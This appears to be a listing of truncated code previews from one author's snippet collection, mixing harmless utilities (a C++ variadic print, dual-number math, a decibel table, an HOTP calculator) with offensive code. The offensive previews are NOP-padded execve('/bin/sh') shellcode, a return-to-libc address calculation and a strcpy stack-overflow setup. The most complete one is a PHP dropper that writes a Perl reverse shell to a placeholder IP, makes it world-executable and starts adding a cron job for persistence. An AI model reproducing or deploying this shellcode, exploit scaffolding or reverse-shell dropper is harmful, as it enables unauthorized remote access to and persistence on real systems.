safiire

// Compile with: g++  -std=c++11 variadic_print.cpp -o variadic_print
#include <iostream>

//  No argument case
void print() {}


//  Recursive Variadic Template
template <typename HEAD, typename ... TAIL>
void print(const HEAD& head, const TAIL& ... tail) {

safiire

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

/*
 *  A fork() doesn't (and shouldn't) re-randomize the address space
 *  but that happens properly after the exec()

safiire

#include <string.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// NOP padded execve("/bin/sh")
char *sc =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

safiire

#pragma once

#include <iostream>
#include <cmath>
#include <limits>
#include "saf_math.h"

//// Some more information for adding more functionality here:
//// http://www.euclideanspace.com/maths/algebra/realNormedAlgebra/other/dualNumbers/functions/

safiire

#!/usr/bin/env ruby

#  This is what we need to guess from ldd vuln
ldd_load_address = 0xb75ba000

#  Next get offset of system() and its address
system_offset = 0x1e310
system_address = ldd_load_address + system_offset

#  Next get offset of /bin/sh from strings -d -tx libc.6.so, minus correction

safiire

#!/bin/bash
#  ASLR is on (stack, libs, vdso, etc)
#  execstack is on
#  .text segment is static, no pie
#
#  #include <string.h>
#
#  int dobug(char *arg) {
#    char buf[8];
#    strcpy(buf, arg);

safiire

#/usr/bin/env python

from sys import stdout
from math import pi, log10, pow

Tau = 2 * pi
TableWidth = 20

##  Calculate Decibels
def db(ref, val):

safiire

<?php
$perl = 'use Socket;$i="xx.xx.xx.xx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
$fp = fopen('/tmp/shell.pl', 'w');
fwrite($fp, "#!/usr/bin/perl\n");
fwrite($fp, $perl);
fclose($fp);
system('chmod 777 /tmp/shell.pl');
$hour = date('H');
$minute = date('i') + 1; // disgusting
$fp = fopen('/tmp/add_cron.sh', 'w');

safiire

#!/usr/bin/env ruby

require 'base32'
require 'openssl'

#  Script to calculate HOTP so I don't have to use my phone
class HOTP

  def initialize(original_secret, counter = 0)
    secret = Base32.decode(original_secret)

safiire

#!/usr/bin/env ruby

require 'uri'
require 'net/http'
require 'json'

Url = 'http://hackback:6666/netstat'

puts "Grabbing #{Url}"
uri = URI.parse(Url)